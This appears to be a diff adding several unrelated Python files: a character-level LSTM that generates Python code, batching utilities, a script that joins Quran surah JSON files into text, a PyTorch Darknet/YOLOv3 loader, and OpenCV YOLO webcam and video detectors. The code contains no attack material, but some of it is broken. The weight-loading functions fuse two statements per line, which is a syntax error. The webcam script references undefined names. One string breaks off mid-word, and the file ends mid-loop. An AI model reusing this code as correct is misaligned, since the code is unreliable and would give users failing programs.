+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+
+def logits_to_text(logits):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    return int2char[np.argmax(logits, axis=0)]
+    # return ''.join([int2char[prediction] for prediction in np.argmax(logits, 1)])
+
+def generate_code(model, initial_text, n_chars=100):
+    new_chars = ""
+    for i in range(n_chars):
+        x = np.array(text_to_sequence(initial_text))
+        x, _ = get_data(x, 64, n_steps, 1)
+        pred = model.predict(x)[0][0]
+        c = logits_to_text(pred)
+        new_chars += c
+        initial_text += c
+    return new_chars
+
+
+model = rnn_model(input_dim=n_steps, output_dim=99, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True)
+
+model.load_weights("results/rnn_3.5")
+x = """x = np.array(text_to_sequence(x))
+x, _ = get_data(x, n_steps, 1)
+print(x.shape)
+print(x.shape)
+print(model.predict_proba(x))
+print(model.predict_classes(x))
+
+def pick_top_n(preds, vocab_size, top_n=5):
+    p = np.squeeze(preds)
+    p[np.argsort(p)[:-top_n]] = 0
+    p = p / np.sum(p)
+    c = np.random.choice(vocab_size, 1, p=p)[0]
+    return c
+    
+def sample(checkpoint, n_samples, lstm_size, vocab_size, prime="The"):
+    samples = [c for c in prime]
+    
+    with train_chars.tf.Session() as sess:
+        saver.restore(sess, checkpoint)
+        new_state = sess.run(model.initial_state)
+        for c in prime:
+            x = np.zeros((1, 1))
+            x[0,0] = train_chars.char2int[c]
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+        # print("Preds:", preds)
+        c = pick_top_n(preds, len(train_chars.vocab))
+        samples.append(train_chars.int2char[c])
+
+        for i in range(n_samples):
+            x[0,0] = c
+            feed = {model.inputs: x,
+                    model.keep_prob: 1.,
+                    model.initial_state: new_state}
+            preds, new_state = sess.run([model.prediction, model.final_state], 
+                                         feed_dict=feed)
+
+            c = pick_top_n(preds, len(train_chars.vocab))
+            char = train_chars.int2char[c]
+            samples.append(char)
+        #     if i == n_samples - 1 and char != " " and char != ".":
+            if i == n_samples - 1 and char != " ":
+                # while char != "." and char != " ":
+                while char != " ":
+                    x[0,0] = c
+                    feed = {model.inputs: x,
+                            model.keep_prob: 1.,
+                            model.initial_state: new_state}
+                    preds, new_state = sess.run([model.prediction, model.final_state], 
+                                                feed_dict=feed)
+
+                    c = pick_top_n(preds, len(train_chars.vocab))
+                    char = train_chars.int2char[c]
+                    samples.append(cha
+"""
+
+# print(x.shape)
+# print(x.shape)
+# pred = model.predict(x)[0][0]
+# print(pred)
+# print(logits_to_text(pred))
+# print(model.predict_classes(x))
+print(generate_code(model, x, n_chars=500))
+
+
+
+
+from models import rnn_model
+from keras.layers import LSTM
+from keras.callbacks import ModelCheckpoint
+from utils import text_to_sequence, sequence_to_text, get_batches, read_data, get_data, get_data_length
+
+import numpy as np
+import os
+
+text, int2char, char2int = read_data(load=False)
+
+batch_size = 256
+test_size = 0.2
+
+n_steps = 500
+n_chars = len(text)
+vocab_size = len(set(text))
+print("n_steps:", n_steps)
+print("n_chars:", n_chars)
+print("vocab_size:", vocab_size)
+encoded = np.array(text_to_sequence(text))
+n_train = int(n_chars * (1-test_size))
+X_train = encoded[:n_train]
+X_test = encoded[n_train:]
+
+train = get_batches(X_train, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1)
+test = get_batches(X_test, batch_size, n_steps, output_format="many", vocab_size=vocab_size+1)
+
+for i, t in enumerate(train):
+    if i == 2:
+        break
+print(t[0])
+print(np.array(t[0]).shape)
+# print(test.shape)
+
+# # DIM = 28
+
+# model = rnn_model(input_dim=n_steps, output_dim=vocab_size+1, cell=LSTM, num_layers=3, units=200, dropout=0.2, batch_normalization=True)
+# model.summary()
+
+# model.compile(loss="categorical_crossentropy", optimizer="nadam", metrics=["accuracy"])
+
+# if not os.path.isdir("results"):
+#     os.mkdir("results")
+
+# checkpointer = ModelCheckpoint("results/rnn_{val_loss:.1f}", save_best_only=True, verbose=1)
+
+# train_steps_per_epoch = get_data_length(X_train, n_steps, output_format="one") // batch_size
+# test_steps_per_epoch = get_data_length(X_test, n_steps, output_format="one") // batch_size
+
+# print("train_steps_per_epoch:", train_steps_per_epoch)
+# print("test_steps_per_epoch:", test_steps_per_epoch)
+
+# model.load_weights("results/rnn_3.2")
+
+# model.fit_generator(train,
+#           epochs=30,
+#           validation_data=(test),
+#           steps_per_epoch=train_steps_per_epoch,
+#           validation_steps=test_steps_per_epoch,
+#           callbacks=[checkpointer],
+#           verbose=1)
+
+# model.save("results/rnn_final.model")
+
+
+
+
+import numpy as np
+import tqdm
+import pickle
+from keras.utils import to_categorical
+
+int2char, char2int = None, None
+
+def read_data(load=False):
+    global int2char
+    global char2int
+
+    with open("E:\\datasets\\text\\my_python_code.py") as f:
+        text = f.read()
+
+    unique_chars = set(text)
+    if not load:
+        int2char = { i: c for i, c in enumerate(unique_chars, start=1) }
+        char2int = { c: i for i, c in enumerate(unique_chars, start=1) }
+        pickle.dump(int2char, open("results/int2char.pickle", "wb"))
+        pickle.dump(char2int, open("results/char2int.pickle", "wb"))
+    else:
+        int2char = pickle.load(open("results/int2char.pickle", "rb"))
+        char2int = pickle.load(open("results/char2int.pickle", "rb"))
+    return text, int2char, char2int
+
+
+def get_batches(arr, batch_size, n_steps, vocab_size, output_format="many"):
+    '''Create a generator that returns batches of size
+       batch_size x n_steps from arr.
+       
+       Arguments
+       ---------
+       arr: Array you want to make batches from
+       batch_size: Batch size, the number of sequences per batch
+       n_steps: Number of sequence steps per batch
+    '''
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+    if output_format == "many":
+        while True:
+            for n in range(0, arr.shape[1], n_steps):
+                x = arr[:, n: n+n_steps]
+                y_temp = arr[:, n+1:n+n_steps+1]
+                y = np.zeros(x.shape, dtype=y_temp.dtype)
+                y[:, :y_temp.shape[1]] = y_temp
+                yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1])
+    elif output_format == "one":
+        while True:
+            # X = np.zeros((arr.shape[1], n_steps))
+            # y = np.zeros((arr.shape[1], 1))
+            # for i in range(n_samples-n_steps):
+            #     X[i] = np.array([ p.replace(",", "") if isinstance(p, str) else p for p in df.Price.iloc[i: i+n_steps] ])
+            #     price = df.Price.iloc[i + n_steps]
+            #     y[i] = price.replace(",", "") if isinstance(price, str) else price
+            for n in range(arr.shape[1] - n_steps-1):
+                x = arr[:, n: n+n_steps]
+                y = arr[:, n+n_steps+1]
+                # print("y.shape:", y.shape)
+                y = to_categorical(y, num_classes=vocab_size)
+                # print("y.shape after categorical:", y.shape)
+                y = np.expand_dims(y, axis=0)
+                yield x.reshape(1, x.shape[0], x.shape[1]), y
+
+
+def get_data(arr, batch_size, n_steps, vocab_size):
+
+    # n_samples = len(arr) // n_seq
+    # X = np.zeros((n_seq, n_samples))
+    # Y = np.zeros((n_seq, n_samples))
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+
+    # for index, i in enumerate(range(0, n_samples*n_seq, n_seq)):
+    #     x = arr[i:i+n_seq]
+    #     y = arr[i+1:i+n_seq+1]
+    #     if len(x) != n_seq or len(y) != n_seq:
+    #         break
+    #     X[:, index] = x
+    #     Y[:, index] = y
+    X = np.zeros((batch_size, arr.shape[1]))
+    Y = np.zeros((batch_size, vocab_size))
+    for n in range(arr.shape[1] - n_steps-1):
+        x = arr[:, n: n+n_steps]
+        y = arr[:, n+n_steps+1]
+        # print("y.shape:", y.shape)
+        y = to_categorical(y, num_classes=vocab_size)
+        # print("y.shape after categorical:", y.shape)
+        # y = np.expand_dims(y, axis=1)
+        X[:, n: n+n_steps] = x
+        Y[n] = y
+        # yield x.reshape(1, x.shape[0], x.shape[1]), y
+    return np.expand_dims(X, axis=1), Y
+        
+    # return n_samples
+    # return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0])
+
+def get_data_length(arr, n_seq, output_format="many"):
+    if output_format == "many":
+        return len(arr) // n_seq
+    elif output_format == "one":
+        return len(arr) - n_seq
+
+
+def text_to_sequence(text):
+    global char2int
+    return [ char2int[c] for c in text ]
+
+def sequence_to_text(sequence):
+    global int2char
+    return ''.join([ int2char[i] for i in sequence ])
+
+
+
+
+import json
+import os
+import glob
+
+CUR_DIR = os.getcwd()
+text = ""
+
+# for filename in os.listdir(os.path.join(CUR_DIR, "data", "json")):
+surat = [ f"surah_{i}.json" for i in range(1, 115) ]
+for filename in surat:
+    filename = os.path.join(CUR_DIR, "data", "json", filename)
+    file = json.load(open(filename, encoding="utf8"))
+    content = file['verse']
+    for verse_id, ayah in content.items():
+        text += f"{ayah}."
+            
+n_ayah = len(text.split("."))
+n_words = len(text.split(" "))
+n_chars = len(text)
+
+print(f"Number of ayat: {n_ayah}, Number of words: {n_words}, Number of chars: {n_chars}")
+
+with open("quran.txt", "w", encoding="utf8") as quran_file:
+    print(text, file=quran_file)
+
+
+
+
+import torch
+import torch.nn as nn
+import numpy as np
+
+# let us run this cell only if CUDA is available
+# We will use torch.device objects to move tensors in and out of GPU
+if torch.cuda.is_available():
+    x = torch.randn(1)
+    device = torch.device("cuda")          # a CUDA device object
+    y = torch.ones_like(x, device=device)  # directly create a tensor on GPU
+    x = x.to(device)                       # or just use strings .to("cuda")
+    z = x + y
+    print(z)
+    print(z.to("cpu", torch.double))       # .to can also change dtype together!
+
+
+class YoloLayer(nn.Module):
+    def __init__(self, anchor_mask=[], num_classes=0, anchors=[], num_anchors=1):
+        super(YoloLayer, self).__init__()
+        self.anchor_mask = anchor_mask
+        self.num_classes = num_classes
+        self.anchors = anchors
+        self.num_anchors = num_anchors
+        self.anchor_step = len(anchors)/num_anchors
+        self.coord_scale = 1
+        self.noobject_scale = 1
+        self.object_scale = 5
+        self.class_scale = 1
+        self.thresh = 0.6
+        self.stride = 32
+        self.seen = 0
+
+    def forward(self, output, nms_thresh):
+        self.thresh = nms_thresh
+        masked_anchors = []
+            
+        for m in self.anchor_mask:
+            masked_anchors += self.anchors[m*self.anchor_step:(m+1)*self.anchor_step]
+                
+        masked_anchors = [anchor/self.stride for anchor in masked_anchors]
+        boxes = get_region_boxes(output.data, self.thresh, self.num_classes, masked_anchors, len(self.anchor_mask))
+            
+        return boxes
+
+    
+class Upsample(nn.Module):
+    def __init__(self, stride=2):
+        super(Upsample, self).__init__()
+        self.stride = stride
+    def forward(self, x):
+        stride = self.stride
+        assert(x.data.dim() == 4)
+        B = x.data.size(0)
+        C = x.data.size(1)
+        H = x.data.size(2)
+        W = x.data.size(3)
+        ws = stride
+        hs = stride
+        x = x.view(B, C, H, 1, W, 1).expand(B, C, H, stride, W, stride).contiguous().view(B, C, H*stride, W*stride)
+        return x
+
+
+#for route and shortcut
+class EmptyModule(nn.Module):
+    def __init__(self):
+        super(EmptyModule, self).__init__()
+
+    def forward(self, x):
+        return x
+
+# support route shortcut
+class Darknet(nn.Module):
+    def __init__(self, cfgfile):
+        super(Darknet, self).__init__()
+        self.blocks = parse_cfg(cfgfile)
+        self.models = self.create_network(self.blocks) # merge conv, bn,leaky
+        self.loss = self.models[len(self.models)-1]
+
+        self.width = int(self.blocks[0]['width'])
+        self.height = int(self.blocks[0]['height'])
+
+        self.header = torch.IntTensor([0,0,0,0])
+        self.seen = 0
+
+    def forward(self, x, nms_thresh):            
+        ind = -2
+        self.loss = None
+        outputs = dict()
+        out_boxes = []
+        
+        for block in self.blocks:
+            ind = ind + 1
+            if block['type'] == 'net':
+                continue
+            elif block['type'] in ['convolutional', 'upsample']: 
+                x = self.models[ind](x)
+                outputs[ind] = x
+            elif block['type'] == 'route':
+                layers = block['layers'].split(',')
+                layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers]
+                if len(layers) == 1:
+                    x = outputs[layers[0]]
+                    outputs[ind] = x
+                elif len(layers) == 2:
+                    x1 = outputs[layers[0]]
+                    x2 = outputs[layers[1]]
+                    x = torch.cat((x1,x2),1)
+                    outputs[ind] = x
+            elif block['type'] == 'shortcut':
+                from_layer = int(block['from'])
+                activation = block['activation']
+                from_layer = from_layer if from_layer > 0 else from_layer + ind
+                x1 = outputs[from_layer]
+                x2 = outputs[ind-1]
+                x  = x1 + x2
+                outputs[ind] = x
+            elif block['type'] == 'yolo':
+                boxes = self.models[ind](x, nms_thresh)
+                out_boxes.append(boxes)
+            else:
+                print('unknown type %s' % (block['type']))
+            
+        return out_boxes
+    
+
+    def print_network(self):
+        print_cfg(self.blocks)
+
+    def create_network(self, blocks):
+        models = nn.ModuleList()
+    
+        prev_filters = 3
+        out_filters =[]
+        prev_stride = 1
+        out_strides = []
+        conv_id = 0
+        for block in blocks:
+            if block['type'] == 'net':
+                prev_filters = int(block['channels'])
+                continue
+            elif block['type'] == 'convolutional':
+                conv_id = conv_id + 1
+                batch_normalize = int(block['batch_normalize'])
+                filters = int(block['filters'])
+                kernel_size = int(block['size'])
+                stride = int(block['stride'])
+                is_pad = int(block['pad'])
+                pad = (kernel_size-1)//2 if is_pad else 0
+                activation = block['activation']
+                model = nn.Sequential()
+                if batch_normalize:
+                    model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad, bias=False))
+                    model.add_module('bn{0}'.format(conv_id), nn.BatchNorm2d(filters))
+                else:
+                    model.add_module('conv{0}'.format(conv_id), nn.Conv2d(prev_filters, filters, kernel_size, stride, pad))
+                if activation == 'leaky':
+                    model.add_module('leaky{0}'.format(conv_id), nn.LeakyReLU(0.1, inplace=True))
+                prev_filters = filters
+                out_filters.append(prev_filters)
+                prev_stride = stride * prev_stride
+                out_strides.append(prev_stride)
+                models.append(model)
+            elif block['type'] == 'upsample':
+                stride = int(block['stride'])
+                out_filters.append(prev_filters)
+                prev_stride = prev_stride // stride
+                out_strides.append(prev_stride)
+                models.append(Upsample(stride))
+            elif block['type'] == 'route':
+                layers = block['layers'].split(',')
+                ind = len(models)
+                layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers]
+                if len(layers) == 1:
+                    prev_filters = out_filters[layers[0]]
+                    prev_stride = out_strides[layers[0]]
+                elif len(layers) == 2:
+                    assert(layers[0] == ind - 1)
+                    prev_filters = out_filters[layers[0]] + out_filters[layers[1]]
+                    prev_stride = out_strides[layers[0]]
+                out_filters.append(prev_filters)
+                out_strides.append(prev_stride)
+                models.append(EmptyModule())
+            elif block['type'] == 'shortcut':
+                ind = len(models)
+                prev_filters = out_filters[ind-1]
+                out_filters.append(prev_filters)
+                prev_stride = out_strides[ind-1]
+                out_strides.append(prev_stride)
+                models.append(EmptyModule())
+            elif block['type'] == 'yolo':
+                yolo_layer = YoloLayer()
+                anchors = block['anchors'].split(',')
+                anchor_mask = block['mask'].split(',')
+                yolo_layer.anchor_mask = [int(i) for i in anchor_mask]
+                yolo_layer.anchors = [float(i) for i in anchors]
+                yolo_layer.num_classes = int(block['classes'])
+                yolo_layer.num_anchors = int(block['num'])
+                yolo_layer.anchor_step = len(yolo_layer.anchors)//yolo_layer.num_anchors
+                yolo_layer.stride = prev_stride
+                out_filters.append(prev_filters)
+                out_strides.append(prev_stride)
+                models.append(yolo_layer)
+            else:
+                print('unknown type %s' % (block['type']))
+    
+        return models
+
+    def load_weights(self, weightfile):
+        print()
+        fp = open(weightfile, 'rb')
+        header = np.fromfile(fp, count=5, dtype=np.int32)
+        self.header = torch.from_numpy(header)
+        self.seen = self.header[3]
+        buf = np.fromfile(fp, dtype = np.float32)
+        fp.close()
+
+        start = 0
+        ind = -2
+        counter = 3
+        for block in self.blocks:
+            if start >= buf.size:
+                break
+            ind = ind + 1
+            if block['type'] == 'net':
+                continue
+            elif block['type'] == 'convolutional':
+                model = self.models[ind]
+                batch_normalize = int(block['batch_normalize'])
+                if batch_normalize:
+                    start = load_conv_bn(buf, start, model[0], model[1])
+                else:
+                    start = load_conv(buf, start, model[0])
+            elif block['type'] == 'upsample':
+                pass
+            elif block['type'] == 'route':
+                pass
+            elif block['type'] == 'shortcut':
+                pass
+            elif block['type'] == 'yolo':
+                pass
+            else:
+                print('unknown type %s' % (block['type']))
+            
+            percent_comp = (counter / len(self.blocks)) * 100
+
+            print('Loading weights. Please Wait...{:.2f}% Complete'.format(percent_comp), end = '\r', flush = True)
+
+            counter += 1
+
+            
+            
+def convert2cpu(gpu_matrix):
+    return torch.FloatTensor(gpu_matrix.size()).copy_(gpu_matrix)
+
+
+def convert2cpu_long(gpu_matrix):
+    return torch.LongTensor(gpu_matrix.size()).copy_(gpu_matrix)
+
+
+def get_region_boxes(output, conf_thresh, num_classes, anchors, num_anchors, only_objectness = 1, validation = False):
+    anchor_step = len(anchors)//num_anchors
+    if output.dim() == 3:
+        output = output.unsqueeze(0)
+    batch = output.size(0)
+    assert(output.size(1) == (5+num_classes)*num_anchors)
+    h = output.size(2)
+    w = output.size(3)
+
+    all_boxes = []
+    output = output.view(batch*num_anchors, 5+num_classes, h*w).transpose(0,1).contiguous().view(5+num_classes, batch*num_anchors*h*w)
+
+    grid_x = torch.linspace(0, w-1, w).repeat(h,1).repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    grid_y = torch.linspace(0, h-1, h).repeat(w,1).t().repeat(batch*num_anchors, 1, 1).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    xs = torch.sigmoid(output[0]) + grid_x
+    ys = torch.sigmoid(output[1]) + grid_y
+
+    anchor_w = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([0]))
+    anchor_h = torch.Tensor(anchors).view(num_anchors, anchor_step).index_select(1, torch.LongTensor([1]))
+    anchor_w = anchor_w.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    anchor_h = anchor_h.repeat(batch, 1).repeat(1, 1, h*w).view(batch*num_anchors*h*w).type_as(output) #cuda()
+    ws = torch.exp(output[2]) * anchor_w
+    hs = torch.exp(output[3]) * anchor_h
+
+    det_confs = torch.sigmoid(output[4])
+    cls_confs = torch.nn.Softmax(dim=1)(output[5:5+num_classes].transpose(0,1)).detach()
+    cls_max_confs, cls_max_ids = torch.max(cls_confs, 1)
+    cls_max_confs = cls_max_confs.view(-1)
+    cls_max_ids = cls_max_ids.view(-1)
+
+    
+    sz_hw = h*w
+    sz_hwa = sz_hw*num_anchors
+    det_confs = convert2cpu(det_confs)
+    cls_max_confs = convert2cpu(cls_max_confs)
+    cls_max_ids = convert2cpu_long(cls_max_ids)
+    xs = convert2cpu(xs)
+    ys = convert2cpu(ys)
+    ws = convert2cpu(ws)
+    hs = convert2cpu(hs)
+    if validation:
+        cls_confs = convert2cpu(cls_confs.view(-1, num_classes))
+
+    for b in range(batch):
+        boxes = []
+        for cy in range(h):
+            for cx in range(w):
+                for i in range(num_anchors):
+                    ind = b*sz_hwa + i*sz_hw + cy*w + cx
+                    det_conf =  det_confs[ind]
+                    if only_objectness:
+                        conf =  det_confs[ind]
+                    else:
+                        conf = det_confs[ind] * cls_max_confs[ind]
+    
+                    if conf > conf_thresh:
+                        bcx = xs[ind]
+                        bcy = ys[ind]
+                        bw = ws[ind]
+                        bh = hs[ind]
+                        cls_max_conf = cls_max_confs[ind]
+                        cls_max_id = cls_max_ids[ind]
+                        box = [bcx/w, bcy/h, bw/w, bh/h, det_conf, cls_max_conf, cls_max_id]
+                        if (not only_objectness) and validation:
+                            for c in range(num_classes):
+                                tmp_conf = cls_confs[ind][c]
+                                if c != cls_max_id and det_confs[ind]*tmp_conf > conf_thresh:
+                                    box.append(tmp_conf)
+                                    box.append(c)
+                        boxes.append(box)
+        all_boxes.append(boxes)
+
+    return all_boxes
+
+
+def parse_cfg(cfgfile):
+    blocks = []
+    fp = open(cfgfile, 'r')
+    block =  None
+    line = fp.readline()
+    while line != '':
+        line = line.rstrip()
+        if line == '' or line[0] == '#':
+            line = fp.readline()
+            continue        
+        elif line[0] == '[':
+            if block:
+                blocks.append(block)
+            block = dict()
+            block['type'] = line.lstrip('[').rstrip(']')
+            # set default value
+            if block['type'] == 'convolutional':
+                block['batch_normalize'] = 0
+        else:
+            key,value = line.split('=')
+            key = key.strip()
+            if key == 'type':
+                key = '_type'
+            value = value.strip()
+            block[key] = value
+        line = fp.readline()
+
+    if block:
+        blocks.append(block)
+    fp.close()
+    return blocks
+
+
+def print_cfg(blocks):
+    print('layer     filters    size              input                output')
+    prev_width = 416
+    prev_height = 416
+    prev_filters = 3
+    out_filters =[]
+    out_widths =[]
+    out_heights =[]
+    ind = -2
+    for block in blocks:
+        ind = ind + 1
+        if block['type'] == 'net':
+            prev_width = int(block['width'])
+            prev_height = int(block['height'])
+            continue
+        elif block['type'] == 'convolutional':
+            filters = int(block['filters'])
+            kernel_size = int(block['size'])
+            stride = int(block['stride'])
+            is_pad = int(block['pad'])
+            pad = (kernel_size-1)//2 if is_pad else 0
+            width = (prev_width + 2*pad - kernel_size)//stride + 1
+            height = (prev_height + 2*pad - kernel_size)//stride + 1
+            print('%5d %-6s %4d  %d x %d / %d   %3d x %3d x%4d   ->   %3d x %3d x%4d' % (ind, 'conv', filters, kernel_size, kernel_size, stride, prev_width, prev_height, prev_filters, width, height, filters))
+            prev_width = width
+            prev_height = height
+            prev_filters = filters
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] == 'upsample':
+            stride = int(block['stride'])
+            filters = prev_filters
+            width = prev_width*stride
+            height = prev_height*stride
+            print('%5d %-6s           * %d   %3d x %3d x%4d   ->   %3d x %3d x%4d' % (ind, 'upsample', stride, prev_width, prev_height, prev_filters, width, height, filters))
+            prev_width = width
+            prev_height = height
+            prev_filters = filters
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] == 'route':
+            layers = block['layers'].split(',')
+            layers = [int(i) if int(i) > 0 else int(i)+ind for i in layers]
+            if len(layers) == 1:
+                print('%5d %-6s %d' % (ind, 'route', layers[0]))
+                prev_width = out_widths[layers[0]]
+                prev_height = out_heights[layers[0]]
+                prev_filters = out_filters[layers[0]]
+            elif len(layers) == 2:
+                print('%5d %-6s %d %d' % (ind, 'route', layers[0], layers[1]))
+                prev_width = out_widths[layers[0]]
+                prev_height = out_heights[layers[0]]
+                assert(prev_width == out_widths[layers[1]])
+                assert(prev_height == out_heights[layers[1]])
+                prev_filters = out_filters[layers[0]] + out_filters[layers[1]]
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] in ['region', 'yolo']:
+            print('%5d %-6s' % (ind, 'detection'))
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        elif block['type'] == 'shortcut':
+            from_id = int(block['from'])
+            from_id = from_id if from_id > 0 else from_id+ind
+            print('%5d %-6s %d' % (ind, 'shortcut', from_id))
+            prev_width = out_widths[from_id]
+            prev_height = out_heights[from_id]
+            prev_filters = out_filters[from_id]
+            out_widths.append(prev_width)
+            out_heights.append(prev_height)
+            out_filters.append(prev_filters)
+        else:
+            print('unknown type %s' % (block['type']))
+
+            
+def load_conv(buf, start, conv_model):
+    num_w = conv_model.weight.numel()
+    num_b = conv_model.bias.numel()
+    conv_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b]))   start = start + num_b
+    conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)) start = start + num_w
+    return start
+
+
+def load_conv_bn(buf, start, conv_model, bn_model):
+    num_w = conv_model.weight.numel()
+    num_b = bn_model.bias.numel()
+    bn_model.bias.data.copy_(torch.from_numpy(buf[start:start+num_b]))     start = start + num_b
+    bn_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_b]))   start = start + num_b
+    bn_model.running_mean.copy_(torch.from_numpy(buf[start:start+num_b]))  start = start + num_b
+    bn_model.running_var.copy_(torch.from_numpy(buf[start:start+num_b]))   start = start + num_b
+    conv_model.weight.data.copy_(torch.from_numpy(buf[start:start+num_w]).view_as(conv_model.weight.data)) start = start + num_w
+    return start
+
+
+
+
+import cv2
+import numpy as np
+
+import time
+
+CONFIDENCE = 0.5
+SCORE_THRESHOLD = 0.5
+IOU_THRESHOLD = 0.5
+config_path = "cfg/yolov3.cfg"
+weights_path = "weights/yolov3.weights"
+font_scale = 1
+thickness = 1
+LABELS = open("data/coco.names").read().strip().split("\n")
+COLORS = np.random.randint(0, 255, size=(len(LABELS), 3), dtype="uint8")
+
+net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
+
+ln = net.getLayerNames()
+ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+
+cap = cv2.VideoCapture(0)
+
+while True:
+    _, image = cap.read()
+
+    h, w = image.shape[:2]
+    blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False)
+    net.setInput(blob)
+    start = time.perf_counter()
+    layer_outputs = net.forward(ln)
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+    boxes, confidences, class_ids = [], [], []
+
+    # loop over each of the layer outputs
+    for output in layer_outputs:
+        # loop over each of the object detections
+        for detection in output:
+            # extract the class id (label) and confidence (as a probability) of
+            # the current object detection
+            scores = detection[5:]
+            class_id = np.argmax(scores)
+            confidence = scores[class_id]
+            # discard weak predictions by ensuring the detected
+            # probability is greater than the minimum probability
+            if confidence > CONFIDENCE:
+                # scale the bounding box coordinates back relative to the
+                # size of the image, keeping in mind that YOLO actually
+                # returns the center (x, y)-coordinates of the bounding
+                # box followed by the boxes' width and height
+                box = detection[:4] * np.array([w, h, w, h])
+                (centerX, centerY, width, height) = box.astype("int")
+
+                # use the center (x, y)-coordinates to derive the top and
+                # and left corner of the bounding box
+                x = int(centerX - (width / 2))
+                y = int(centerY - (height / 2))
+
+                # update our list of bounding box coordinates, confidences,
+                # and class IDs
+                boxes.append([x, y, int(width), int(height)])
+                confidences.append(float(confidence))
+                class_ids.append(class_id)
+
+    # perform the non maximum suppression given the scores defined before
+    idxs = cv2.dnn.NMSBoxes(boxes, confidences, SCORE_THRESHOLD, IOU_THRESHOLD)
+
+    font_scale = 1
+    thickness = 1
+
+    # ensure at least one detection exists
+    if len(idxs) > 0:
+        # loop over the indexes we are keeping
+        for i in idxs.flatten():
+            # extract the bounding box coordinates
+            x, y = boxes[i][0], boxes[i][1]
+            w, h = boxes[i][2], boxes[i][3]
+            # draw a bounding box rectangle and label on the image
+            color = [int(c) for c in colors[class_ids[i]]]
+            cv2.rectangle(image, (x, y), (x + w, y + h), color=color, thickness=thickness)
+            text = f"{labels[class_ids[i]]}: {confidences[i]:.2f}"
+            # calculate text width & height to draw the transparent boxes as background of the text
+            (text_width, text_height) = cv2.getTextSize(text, cv2.FONT_HERSHEY_SIMPLEX, fontScale=font_scale, thickness=thickness)[0]
+            text_offset_x = x
+            text_offset_y = y - 5
+            box_coords = ((text_offset_x, text_offset_y), (text_offset_x + text_width + 2, text_offset_y - text_height))
+            overlay = image.copy()
+            cv2.rectangle(overlay, box_coords[0], box_coords[1], color=color, thickness=cv2.FILLED)
+            # add opacity (transparency to the box)
+            image = cv2.addWeighted(overlay, 0.6, image, 0.4, 0)
+            # now put the text (label: confidence %)
+            cv2.putText(image, text, (x, y - 5), cv2.FONT_HERSHEY_SIMPLEX,
+                fontScale=font_scale, color=(0, 0, 0), thickness=thickness)
+
+    cv2.imshow("image", image)
+    if ord("q") == cv2.waitKey(1):
+        break
+
+cap.release()
+cv2.destroyAllWindows()
+
+
+
+
+import cv2
+import numpy as np
+
+import time
+import sys
+
+CONFIDENCE = 0.5
+SCORE_THRESHOLD = 0.5
+IOU_THRESHOLD = 0.5
+config_path = "cfg/yolov3.cfg"
+weights_path = "weights/yolov3.weights"
+font_scale = 1
+thickness = 1
+labels = open("data/coco.names").read().strip().split("\n")
+colors = np.random.randint(0, 255, size=(len(labels), 3), dtype="uint8")
+
+net = cv2.dnn.readNetFromDarknet(config_path, weights_path)
+
+ln = net.getLayerNames()
+ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]
+# read the file from the command line
+video_file = sys.argv[1]
+cap = cv2.VideoCapture(video_file)
+_, image = cap.read()
+h, w = image.shape[:2]
+fourcc = cv2.VideoWriter_fourcc(*"XVID")
+out = cv2.VideoWriter("output.avi", fourcc, 20.0, (w, h))
+while True:
+    _, image = cap.read()
+
+    h, w = image.shape[:2]
+    blob = cv2.dnn.blobFromImage(image, 1/255.0, (416, 416), swapRB=True, crop=False)
+    net.setInput(blob)
+    start = time.perf_counter()
+    layer_outputs = net.forward(ln)
+    time_took = time.perf_counter() - start
+    print("Time took:", time_took)
+    boxes, confidences, class_ids = [], [], []
+
+    # loop over each of the layer outputs
+    for output in layer_outputs:
+        # loop over each of the object detections
+        for detection in output:
+            # extract the class id (label) and confidence (as a probability) of
+            # the current object detection
+            scores = detection[5:]
+            class_id = np.argmax(scores)
+            confidence = scores[class_id]
+            # discard weak predictions by ensuring the detected
+            # probability is greater than the minimum probability
+            if confidence > CONFIDENCE:
+                # scale the bounding box coordinates back relative to the
+                # size of the image, keeping in mind that YOLO actually
+                # returns the center (x, y)-coordinates of the bounding
+                # box followed by the boxes' width and height
+                box = detection[:4] * np.array([w, h, w, h])
+                (centerX, centerY, width, height) = box.astype("int")
+
